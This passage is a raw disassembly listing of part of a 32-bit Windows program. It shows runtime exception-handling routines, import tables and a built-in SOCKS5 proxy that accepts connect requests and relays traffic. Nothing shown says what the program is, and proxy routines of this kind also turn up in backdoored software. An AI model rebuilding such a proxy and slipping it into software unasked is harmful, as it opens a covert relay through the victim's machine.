sub_408085 pop edi pop esi mov eax, ebx pop ebx leave retn 0Ch sub_417000 endp ; =============== S U B R O U T I N E ======================================= sub_417052 proc near ; CODE XREF: sub_4171C1+128p add ecx, 20h call sub_401205 push offset dword_421D48 call ds:dword_4180E8 retn sub_417052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417066 proc near ; CODE XREF: sub_417180+7p ; sub_417180+13p var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push ecx mov ecx, [ecx+20h] lea edx, [ebp+var_8] push edx push 1 lea edx, [ebp+var_1] mov [ebp+var_8], 0Ah mov eax, [ecx] push edx call dword ptr [eax+4] cmp eax, 1 jnz short loc_41708F movzx eax, [ebp+var_1] leave retn ; --------------------------------------------------------------------------- loc_41708F: ; CODE XREF: sub_417066+21j or eax, 0FFFFFFFFh leave retn sub_417066 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417094 proc near ; CODE XREF: sub_4171C1+111p var_2410 = byte ptr -2410h var_140C = dword ptr -140Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2410h call sub_4011B0 push ebx push esi push edi mov esi, ecx mov ecx, [esi+20h] lea eax, [ebp+var_140C] xor ebx, ebx push eax mov [ebp+var_140C], ebx call sub_40D686 mov ecx, [ebp+arg_0] lea eax, [ebp+var_140C] push eax call sub_40D686 mov edi, 400h loc_4170D1: ; CODE XREF: sub_417094+78j ; sub_417094+B8j ... push 1004h lea eax, [ebp+var_140C] push eax lea eax, [ebp+var_2410] push eax call sub_40CCF7 add esp, 0Ch lea eax, [ebp+var_8] push eax push ebx push ebx lea eax, [ebp+var_2410] push eax push ebx mov [ebp+var_8], 384h mov [ebp+var_4], ebx call ds:dword_4181A4 test eax, eax jle short loc_4170D1 mov ecx, [esi+20h] lea eax, [ebp+var_2410] push eax call sub_40D6C2 test al, al jz short loc_41713B mov ecx, [esi+20h] push ebx push edi lea eax, [ebp+var_408] push eax call sub_40D876 cmp eax, ebx jle short loc_417179 mov ecx, [ebp+arg_0] jmp short loc_417166 ; --------------------------------------------------------------------------- loc_41713B: ; CODE XREF: sub_417094+8Bj mov ecx, [ebp+arg_0] lea eax, [ebp+var_2410] push eax call sub_40D6C2 test al, al jz short loc_4170D1 mov ecx, [ebp+arg_0] push ebx push edi lea eax, [ebp+var_408] push eax call sub_40D876 cmp eax, ebx jle short loc_417179 mov ecx, [esi+20h] loc_417166: ; CODE XREF: sub_417094+A5j mov edx, [ecx] push ebx push eax lea eax, [ebp+var_408] push eax call dword ptr [edx+8] jmp loc_4170D1 ; --------------------------------------------------------------------------- loc_417179: ; CODE XREF: sub_417094+A0j ; sub_417094+CDj pop edi pop esi pop ebx leave retn 4 sub_417094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417180 proc near ; CODE XREF: sub_4171C1+Ap var_4 = byte ptr -4 var_3 = byte ptr -3 push ebp mov ebp, esp push ecx push esi mov esi, ecx call sub_417066 cmp eax, 1 jnz short loc_4171BC mov ecx, esi call sub_417066 test eax, eax jnz short loc_4171BC mov ecx, [esi+20h] push 0 push 2 lea edx, [ebp+var_4] mov [ebp+var_4], 5 mov [ebp+var_3], al mov eax, [ecx] push edx call dword ptr [eax+8] dec eax dec eax neg eax sbb eax, eax inc eax jmp short loc_4171BE ; --------------------------------------------------------------------------- loc_4171BC: ; CODE XREF: sub_417180+Fj ; sub_417180+1Aj xor al, al loc_4171BE: ; CODE XREF: sub_417180+3Aj pop esi leave retn sub_417180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4171C1 proc near ; DATA XREF: sub_417325+17o var_24 = word ptr -24h var_22 = byte ptr -22h var_20 = byte ptr -20h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 24h push esi push edi mov edi, ecx call sub_417180 test al, al jz loc_4172E3 mov ecx, [edi+20h] lea edx, [ebp+var_4] push edx push 0Ah lea edx, [ebp+var_14] mov [ebp+var_4], 1Eh mov eax, [ecx] push edx call dword ptr [eax+4] cmp eax, 0Ah jnz loc_4172E3 cmp [ebp+var_14], 5 jnz loc_4172E3 cmp [ebp+var_13], 1 jnz loc_4172E3 cmp [ebp+var_12], 0 jnz loc_4172E3 cmp [ebp+var_11], 1 jnz loc_4172E3 push 4 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax mov [ebp+var_24], 2 call sub_40CCF7 push 2 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_22] push eax call sub_40CCF7 push 0Ch call sub_40D0BB add esp, 1Ch test eax, eax jz short loc_41725F mov ecx, eax call sub_40DD7C mov esi, eax jmp short loc_417261 ; --------------------------------------------------------------------------- loc_41725F: ; CODE XREF: sub_4171C1+91j xor esi, esi loc_417261: ; CODE XREF: sub_4171C1+9Cj push 14h lea eax, [ebp+var_24] push eax mov ecx, esi call sub_40DFF7 cmp eax, 1 jnz short loc_4172D7 mov [ebp+var_11], al lea eax, [ebp+var_8] push eax lea eax, [ebp+var_24] push eax mov ecx, esi mov [ebp+var_14], 5 mov [ebp+var_13], 0 mov [ebp+var_12], 0 mov [ebp+var_8], 10h call sub_40D94F test eax, eax jnz short loc_4172D7 push 4 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax call sub_40CCF7 push 2 lea eax, [ebp+var_22] push eax lea eax, [ebp+var_C] push eax call sub_40CCF7 mov ecx, [edi+20h] mov eax, [ecx] add esp, 18h lea edx, [ebp+var_4] push edx push 0Ah lea edx, [ebp+var_14] push edx call dword ptr [eax+8] push esi mov ecx, edi call sub_417094 loc_4172D7: ; CODE XREF: sub_4171C1+B0j ; sub_4171C1+D9j test esi, esi jz short loc_4172E3 mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_4172E3: ; CODE XREF: sub_4171C1+11j ; sub_4171C1+33j ... test edi, edi jz short loc_4172F5 mov ecx, edi call sub_417052 push edi call sub_40D0B6 pop ecx loc_4172F5: ; CODE XREF: sub_4171C1+124j pop edi pop esi leave retn 4 sub_4171C1 endp ; =============== S U B R O U T I N E ======================================= sub_4172FB proc near ; CODE XREF: sub_417325+29p arg_0 = byte ptr 4 push ebx push esi push edi mov ebx, ecx and dword ptr [ebx+4], 0 lea edi, [ebx+10h] lea esi, [esp+0Ch+arg_0] movsd movsd movsd push offset dword_421D48 movsd mov [ebx+8], ebx call ds:dword_4180E4 pop edi pop esi mov eax, ebx pop ebx retn 10h sub_4172FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417325 proc near ; CODE XREF: sub_41667E+EFp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax sub esp, 10h mov [ebp+var_10], offset sub_4171C1 mov edi, esp lea esi, [ebp+var_10] movsd movsd movsd mov ebx, ecx movsd call sub_4172FB mov eax, [ebp+arg_0] push 0 mov ecx, ebx mov [ebx+20h], eax call sub_408085 pop edi pop esi mov eax, ebx pop ebx leave retn 4 sub_417325 endp ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4173C0 proc near ; DATA XREF: __SEH_prologo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_417489 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] push ebx call sub_4175B2 add esp, 4 or eax, eax jz short loc_41747B loc_417400: ; CODE XREF: sub_4173C0+B2j cmp esi, 0FFFFFFFFh jz short loc_417482 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4+4] or eax, eax jz short loc_417469 push esi push ebp lea ebp, [ebx+10h] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_417469 js short loc_417474 mov edi, [ebx+8] push ebx call sub_4174C4 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_417506 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41759A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax mov eax, [edi+ecx*4+8] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax loc_417469: ; CODE XREF: sub_4173C0+4Ej ; sub_4173C0+68j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_417400 ; --------------------------------------------------------------------------- loc_417474: ; CODE XREF: sub_4173C0+6Aj mov eax, 0 jmp short loc_41749E ; --------------------------------------------------------------------------- loc_41747B: ; CODE XREF: sub_4173C0+3Ej mov eax, [ebp+arg_0] or dword ptr [eax+4], 8 loc_417482: ; CODE XREF: sub_4173C0+43j mov eax, 1 jmp short loc_41749E ; --------------------------------------------------------------------------- loc_417489: ; CODE XREF: sub_4173C0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_417506 add esp, 8 pop ebp mov eax, 1 loc_41749E: ; CODE XREF: sub_4173C0+B9j ; sub_4173C0+C7j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4173C0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_417506 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174C4 proc near ; CODE XREF: sub_4173C0+70p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4174DC push [ebp+arg_0] call sub_4177F4 loc_4174DC: ; DATA XREF: sub_4174C4+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4174C4 endp ; =============== S U B R O U T I N E ======================================= sub_4174E4 proc near ; DATA XREF: sub_417506+Ao ; .text:00417577o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_417505 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_417505: ; CODE XREF: sub_4174E4+10j retn sub_4174E4 endp ; =============== S U B R O U T I N E ======================================= sub_417506 proc near ; CODE XREF: sub_4173C0+7Dp ; sub_4173C0+D0p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4174E4 push large dword ptr fs:0 mov large fs:0, esp loc_417523: ; CODE XREF: sub_417506:loc_41755Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_417560 cmp esi, [esp+1Ch+arg_4] jz short loc_417560 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41755E push 101h mov eax, [ebx+esi*4+8] call sub_41759A call dword ptr [ebx+esi*4+8] loc_41755E: ; CODE XREF: sub_417506+44j jmp short loc_417523 ; --------------------------------------------------------------------------- loc_417560: ; CODE XREF: sub_417506+2Aj ; sub_417506+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_417506 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4174E4 jnz short locret_417590 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_417590 mov eax, 1 locret_417590: ; CODE XREF: .text:0041757Ej ; .text:00417589j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_421CC4 jmp short loc_4175A4 ; =============== S U B R O U T I N E ======================================= sub_41759A proc near ; CODE XREF: sub_4173C0+8Ep ; sub_417506+4Fp push ebx push ecx mov ebx, offset dword_421CC4 mov ecx, [ebp+8] loc_4175A4: ; CODE XREF: .text:00417598j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41759A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175B2 proc near ; CODE XREF: sub_4173C0+34p var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_0] mov ebx, [esi+8] test bl, 3 jnz short loc_4175E0 mov eax, large fs:18h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] cmp ebx, ecx mov [ebp+var_4], ecx jb short loc_4175E7 cmp ebx, [eax+4] jnb short loc_4175E7 loc_4175E0: ; CODE XREF: sub_4175B2+11j xor eax, eax jmp loc_4177D7 ; --------------------------------------------------------------------------- loc_4175E7: ; CODE XREF: sub_4175B2+27j ; sub_4175B2+2Cj push edi mov edi, [esi+0Ch] cmp edi, 0FFFFFFFFh jnz short loc_4175F8 loc_4175F0: ; CODE XREF: sub_4175B2+139j ; sub_4175B2+19Cj ... xor eax, eax inc eax jmp loc_4177D6 ; --------------------------------------------------------------------------- loc_4175F8: ; CODE XREF: sub_4175B2+3Cj xor edx, edx mov [ebp+arg_0], edx mov eax, ebx loc_4175FF: ; CODE XREF: sub_4175B2+6Bj mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_41760E cmp ecx, edx jnb loc_417753 loc_41760E: ; CODE XREF: sub_4175B2+52j cmp dword ptr [eax+4], 0 jz short loc_417617 inc [ebp+arg_0] loc_417617: ; CODE XREF: sub_4175B2+60j inc edx add eax, 0Ch cmp edx, edi jbe short loc_4175FF cmp [ebp+arg_0], 0 jz short loc_417639 mov eax, [esi-8] cmp eax, [ebp+var_4] jb loc_417753 cmp eax, esi jnb loc_417753 loc_417639: ; CODE XREF: sub_4175B2+71j mov eax, dword_421D50 mov edi, ebx and edi, 0FFFFF000h xor esi, esi test eax, eax jle short loc_41765E loc_41764C: ; CODE XREF: sub_4175B2+AAj cmp dword_421D58[esi*4], edi jz loc_417757 inc esi cmp esi, eax jl short loc_41764C loc_41765E: ; CODE XREF: sub_4175B2+98j push 1Ch lea eax, [ebp+var_20] push eax push ebx call ds:dword_418098 test eax, eax jz loc_4177D3 cmp [ebp+var_8], 1000000h jnz loc_4177D3 test [ebp+var_C], 0CCh jz short loc_4176DC mov ecx, [ebp+var_1C] cmp word ptr [ecx], 5A4Dh jnz loc_4177D3 mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz loc_4177D3 cmp word ptr [eax+18h], 10Bh jnz loc_4177D3 sub ebx, ecx cmp word ptr [eax+6], 0 movzx ecx, word ptr [eax+14h] lea ecx, [ecx+eax+18h] jbe loc_4177D3 mov eax, [ecx+0Ch] cmp ebx, eax jb short loc_4176DC mov edx, [ecx+8] add edx, eax cmp ebx, edx jnb short loc_4176DC test byte ptr [ecx+27h], 80h jnz short loc_417753 loc_4176DC: ; CODE XREF: sub_4175B2+D2j ; sub_4175B2+119j ... push 1 push offset dword_421D98 call ds:dword_4180EC test eax, eax jnz loc_4175F0 mov ecx, dword_421D50 test ecx, ecx mov edx, ecx jle short loc_417710 lea eax, ds:421D54h[ecx*4] loc_417704: ; CODE XREF: sub_4175B2+15Cj cmp [eax], edi jz short loc_417710 dec edx sub eax, 4 test edx, edx jg short loc_417704 loc_417710: ; CODE XREF: sub_4175B2+149j ; sub_4175B2+154j test edx, edx jnz short loc_417741 push 0Fh pop ebx cmp ecx, ebx jg short loc_41771D mov ebx, ecx loc_41771D: ; CODE XREF: sub_4175B2+167j xor edx, edx test ebx, ebx jl short loc_417735 loc_417723: ; CODE XREF: sub_4175B2+181j lea eax, ds:421D58h[edx*4] mov esi, [eax] inc edx cmp edx, ebx mov [eax], edi mov edi, esi jle short loc_417723 loc_417735: ; CODE XREF: sub_4175B2+16Fj cmp ecx, 10h jge short loc_417741 inc ecx mov dword_421D50, ecx loc_417741: ; CODE XREF: sub_4175B2+160j ; sub_4175B2+186j push 0 push offset dword_421D98 call ds:dword_4180EC jmp loc_4175F0 ; --------------------------------------------------------------------------- loc_417753: ; CODE XREF: sub_4175B2+56j ; sub_4175B2+79j ... xor eax, eax jmp short loc_4177D6 ; --------------------------------------------------------------------------- loc_417757: ; CODE XREF: sub_4175B2+A1j test esi, esi jle loc_4175F0 mov ebx, ds:dword_4180EC push 1 push offset dword_421D98 call ebx test eax, eax jnz loc_4175F0 cmp dword_421D58[esi*4], edi jz short loc_4177AD mov eax, dword_421D50 lea esi, [eax-1] test esi, esi jl short loc_41779B loc_41778B: ; CODE XREF: sub_4175B2+1E3j cmp dword_421D58[esi*4], edi jz short loc_417797 dec esi jns short loc_41778B loc_417797: ; CODE XREF: sub_4175B2+1E0j test esi, esi jge short loc_4177AB loc_41779B: ; CODE XREF: sub_4175B2+1D7j cmp eax, 10h jge short loc_4177A6 inc eax mov dword_421D50, eax loc_4177A6: ; CODE XREF: sub_4175B2+1ECj lea esi, [eax-1] jmp short loc_4177AD ; --------------------------------------------------------------------------- loc_4177AB: ; CODE XREF: sub_4175B2+1E7j jz short loc_4177C5 loc_4177AD: ; CODE XREF: sub_4175B2+1CBj ; sub_4175B2+1F7j xor ecx, ecx test esi, esi jl short loc_4177C5 loc_4177B3: ; CODE XREF: sub_4175B2+211j lea eax, ds:421D58h[ecx*4] mov edx, [eax] inc ecx cmp ecx, esi mov [eax], edi mov edi, edx jle short loc_4177B3 loc_4177C5: ; CODE XREF: sub_4175B2:loc_4177ABj ; sub_4175B2+1FFj push 0 push offset dword_421D98 call ebx jmp loc_4175F0 ; --------------------------------------------------------------------------- loc_4177D3: ; CODE XREF: sub_4175B2+BBj ; sub_4175B2+C8j ... or eax, 0FFFFFFFFh loc_4177D6: ; CODE XREF: sub_4175B2+41j ; sub_4175B2+1A3j pop edi loc_4177D7: ; CODE XREF: sub_4175B2+30j pop esi pop ebx leave retn sub_4175B2 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4177DC proc near ; CODE XREF: sub_40D6C2+7p jmp ds:dword_418194 sub_4177DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4177E2 proc near ; CODE XREF: sub_40C574+A6p ; sub_40C627+5Ap ... jmp ds:dword_41802C sub_4177E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4177E8 proc near ; CODE XREF: sub_40C574+1Ep ; sub_40C627+16p ... jmp ds:dword_418028 sub_4177E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4177EE proc near ; CODE XREF: sub_41651F+64p jmp ds:dword_418024 sub_4177EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4177F4 proc near ; CODE XREF: sub_4174C4+13p jmp ds:dword_418094 sub_4177F4 endp ; --------------------------------------------------------------------------- align 10h _text ends ; Section 2. (virtual address 00018000) ; Virtual size : 00008D1E ( 36126.) ; Section size in file : 00008E00 ( 36352.) ; Offset to raw data for section: 00016C00 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 418000h dword_418000 dd 20CFCh ; DATA XREF: sub_40CAE6+21r ; sub_40CB36+Ar ... dword_418004 dd 20CEAh ; DATA XREF: sub_40CA9E+22r dword_418008 dd 20CDAh ; DATA XREF: sub_404D27+28r ; sub_404D27+ADr dword_41800C dd 20CCAh ; DATA XREF: sub_404D27+62r dword_418010 dd 20CBCh ; DATA XREF: sub_404D27+79r ; sub_40CACF+Br dword_418014 dd 20CAAh ; DATA XREF: sub_404D27+DEr ; sub_40CB16+12r ... dword_418018 dd 20C8Ah ; DATA XREF: sub_4032C9+16r dword_41801C dd 20C6Eh ; DATA XREF: sub_4032C9+2Br dd 0 dword_418024 dd 206F2h ; DATA XREF: sub_4177EEr dword_418028 dd 206E4h ; DATA XREF: sub_4177E8r dword_41802C dd 206D0h ; DATA XREF: sub_4177E2r dd 0 dword_418034 dd 20BE4h ; DATA XREF: sub_415397+1Cr dword_418038 dd 20BCAh ; DATA XREF: sub_40D0C9+Fr ; sub_40D261+Fr dword_41803C dd 20BB2h ; DATA XREF: sub_40CFE7+38r ; sub_40D1A6+39r dword_418040 dd 20B98h ; DATA XREF: sub_40CFAE+9r dword_418044 dd 20B8Ch ; DATA XREF: sub_40CCC5+Dr dword_418048 dd 20B7Eh ; DATA XREF: sub_40CA55+11r ; sub_40CCAD+11r dword_41804C dd 20BF0h ; DATA XREF: sub_4163EB+Br dword_418050 dd 20B60h ; DATA XREF: sub_40CA18+Dr ; sub_40CC7F+Dr ... dword_418054 dd 20B52h ; DATA XREF: sub_40CA06+Br dword_418058 dd 20B42h ; DATA XREF: sub_40C9F2+Dr dword_41805C dd 20B2Ah ; DATA XREF: sub_40C826+3r dword_418060 dd 20B16h ; DATA XREF: sub_40AFDC+10r dword_418064 dd 20B02h ; DATA XREF: sub_40A060+44r ; sub_40B1BB+Ar dword_418068 dd 20AE4h ; DATA XREF: sub_409E56+32r ; sub_40C8FB+Er dword_41806C dd 20AC8h ; DATA XREF: sub_409E16+38r ; sub_40C892+26r dword_418070 dd 20AAAh ; DATA XREF: sub_409DDF+2Fr dword_418074 dd 20A8Eh ; DATA XREF: sub_409DA5+32r dword_418078 dd 20A74h ; DATA XREF: sub_408C6A+1Fr dword_41807C dd 20A64h ; DATA XREF: sub_408C6A+42r dword_418080 dd 20A58h ; DATA XREF: sub_408B4B+25r ; sub_40CDD6+8r dword_418084 dd 20A46h ; DATA XREF: sub_408B4B+37r dword_418088 dd 20A3Ah ; DATA XREF: sub_408B4B+60r ; sub_408B4B+70r ... dword_41808C dd 20A2Ah ; DATA XREF: sub_408B4B+B2r dword_418090 dd 20A1Eh ; DATA XREF: sub_408B4B+D5r dword_418094 dd 20BFCh ; DATA XREF: sub_4177F4r dword_418098 dd 20C08h ; DATA XREF: sub_4175B2+B3r dword_41809C dd 20B6Ch ; DATA XREF: sub_40CA18r sub_40CA55r ... dword_4180A0 dd 20710h ; DATA XREF: sub_4012FC+Cr ; sub_403389+4Br ... dword_4180A4 dd 20720h ; DATA XREF: sub_4015F3+1Fr ; sub_401918+C3r ... dword_4180A8 dd 2072Eh ; DATA XREF: sub_40132C+6r ; sub_4015F3+6r ... dword_4180AC dd 2073Ah ; DATA XREF: sub_40132C+1Br ; sub_405675+94r dword_4180B0 dd 20748h ; DATA XREF: sub_401316+8r ; sub_4017C3+C3r ... dword_4180B4 dd 20760h ; DATA XREF: sub_4013D5+30r ; sub_401420+42r ... dword_4180B8 dd 2076Ch ; DATA XREF: sub_403346+Fr ; sub_40A0C2+14r ... dword_4180BC dd 20782h ; DATA XREF: sub_40174B+24r ; sub_40177E+25r ... dword_4180C0 dd 20792h ; DATA XREF: sub_40177E+38r ; sub_40B3DA+38r dword_4180C4 dd 207A2h ; DATA XREF: sub_40177E+30r ; sub_40B3DA+30r dword_4180C8 dd 207B6h ; DATA XREF: sub_4017C3+132r ; sub_401C53+3Dr ... dword_4180CC dd 207BEh ; DATA XREF: sub_4017C3+E0r ; sub_4017C3+F4r ... dword_4180D0 dd 207CEh ; DATA XREF: sub_401C53+23r ; sub_401CA6+1Cr ... dword_4180D4 dd 207ECh ; DATA XREF: sub_4021BF+15r ; sub_4021DE+95r ... dword_4180D8 dd 20808h ; DATA XREF: sub_402400+C0r ; sub_40444C+73r ... dword_4180DC dd 20820h ; DATA XREF: sub_401F3E+8r ; sub_402400+14r ... dword_4180E0 dd 20838h ; DATA XREF: sub_401F3E+21r ; sub_402400+2Br ... dword_4180E4 dd 20850h ; DATA XREF: sub_401C53+46r ; sub_401CA6+27r ... dword_4180E8 dd 20868h ; DATA XREF: sub_401ED1+60r ; sub_4041B2+Ar ... dword_4180EC dd 20880h ; DATA XREF: sub_40235F+8Br ; sub_4175B2+131r ... dword_4180F0 dd 20896h ; DATA XREF: sub_402512+EEr ; sub_406E37+DAr ... dword_4180F4 dd 208B0h ; DATA XREF: sub_402624+C2r ; sub_40DB5E+37r dword_4180F8 dd 208BCh ; DATA XREF: sub_402FCB+24r ; sub_4038BB+F5r dword_4180FC dd 208D4h ; DATA XREF: sub_40320F+64r ; sub_4038BB+16Br dword_418100 dd 208E0h ; DATA XREF: sub_40320F+50r ; sub_4038BB+125r ... dword_418104 dd 208EEh ; DATA XREF: sub_40320F+2Cr dword_418108 dd 20904h ; DATA XREF: sub_40320F+1Fr ; sub_409DA5+1Cr ... dword_41810C dd 20918h ; DATA XREF: sub_403316+Cr dword_418110 dd 20926h ; DATA XREF: sub_403389+6Br dword_418114 dd 20934h ; DATA XREF: sub_403389+57r dword_418118 dd 20944h ; DATA XREF: sub_403539+16r dword_41811C dd 20954h ; DATA XREF: sub_4036C6+69r ; sub_4086E0+12r ... dword_418120 dd 20960h ; DATA XREF: sub_403854+15r dword_418124 dd 20974h ; DATA XREF: sub_403ED0+1F4r dword_418128 dd 20986h ; DATA XREF: sub_405074+118r ; sub_406DF2+36r dword_41812C dd 209A0h ; DATA XREF: sub_407F86+2Cr dword_418130 dd 209B8h ; DATA XREF: sub_407F86+26r dword_418134 dd 209C8h ; DATA XREF: sub_407F86+1Cr dword_418138 dd 209D8h ; DATA XREF: sub_408A70+6Cr dword_41813C dd 209EAh ; DATA XREF: sub_408A70+53r dword_418140 dd 209FAh ; DATA XREF: sub_408A70+3Fr dword_418144 dd 20A10h ; DATA XREF: sub_408A70+2Ar dd 0 dword_41814C dd 20C34h ; DATA XREF: sub_4155DF+54r ; sub_415F7D+94r dword_418150 dd 20C46h ; DATA XREF: sub_40CF0C+5r dword_418154 dd 20C54h ; DATA XREF: sub_40CF1B+5r dword_418158 dd 20C26h ; DATA XREF: sub_40CE18+Dr ; sub_40DB15+10r align 10h dword_418160 dd 20658h ; DATA XREF: sub_4038BB+9Cr ; sub_40675C+3Dr dword_418164 dd 2061Ah ; DATA XREF: sub_4038BB+D1r ; sub_4080EA+D2r dword_418168 dd 2066Ch ; DATA XREF: sub_4038BB+58r ; sub_406E37+10Er ... dword_41816C dd 2067Ch ; DATA XREF: sub_4038BB+159r ; sub_4080EA+122r dword_418170 dd 20690h ; DATA XREF: sub_4038BB+133r ; sub_4080EA+E0r dword_418174 dd 206AEh ; DATA XREF: sub_406E37+F0r ; sub_406E37+FFr dword_418178 dd 2062Eh ; DATA XREF: sub_4038BB+BBr ; sub_4080EA+9Ar dword_41817C dd 20642h ; DATA XREF: sub_4038BB+199r ; sub_4038BB+1A2r ... dd 0 dword_418184 dd 80000011h ; DATA XREF: sub_40D8A6+19r dword_418188 dd 80000013h ; DATA XREF: sub_40D80F+13r dword_41818C dd 80000004h ; DATA XREF: sub_40D7BB+Dr dword_418190 dd 80000001h ; DATA XREF: sub_40D767+Fr dword_418194 dd 80000097h ; DATA XREF: sub_4177DCr dword_418198 dd 8000006Fh ; DATA XREF: sub_40D66F+Ar dword_41819C dd 80000002h ; DATA XREF: sub_408DB8+101r ; sub_40D7E5+Dr dword_4181A0 dd 80000010h ; DATA XREF: sub_408D2A+Dr ; sub_40D876+13r dword_4181A4 dd 80000012h ; DATA XREF: sub_4080EA+17Fr ; sub_408361+1C5r ... dword_4181A8 dd 8000000Fh ; DATA XREF: sub_40B016+D5r dword_4181AC dd 8000000Ch ; DATA XREF: sub_40675C+1Fr ; sub_40906B+83r dword_4181B0 dd 8000000Eh ; DATA XREF: sub_4043C7+19r ; sub_405675+ECr ... dword_4181B4 dd 80000073h ; DATA XREF: sub_403389+86r dword_4181B8 dd 80000006h ; DATA XREF: sub_40D94F+Fr dword_4181BC dd 80000005h ; DATA XREF: sub_40D97B+Fr dword_4181C0 dd 80000016h ; DATA XREF: sub_40D9D5+Br dword_4181C4 dd 80000034h ; DATA XREF: sub_40DA32+2Cr dword_4181C8 dd 8000000Dh ; DATA XREF: sub_40D793+Br dword_4181CC dd 8000000Bh ; DATA XREF: sub_4017C3+3Br ; sub_405675+E5r ... dword_4181D0 dd 80000017h ; DATA XREF: sub_4017C3+7Br ; sub_408DB8+3Ar ... dword_4181D4 dd 80000015h ; DATA XREF: sub_4017C3+A4r ; sub_40D91B+17r dword_4181D8 dd 80000014h ; DATA XREF: sub_401621+96r ; sub_4016C3+7Cr ... dword_4181DC dd 20600h ; DATA XREF: sub_401351+16r dword_4181E0 dd 205F4h ; DATA XREF: sub_401351+38r ; 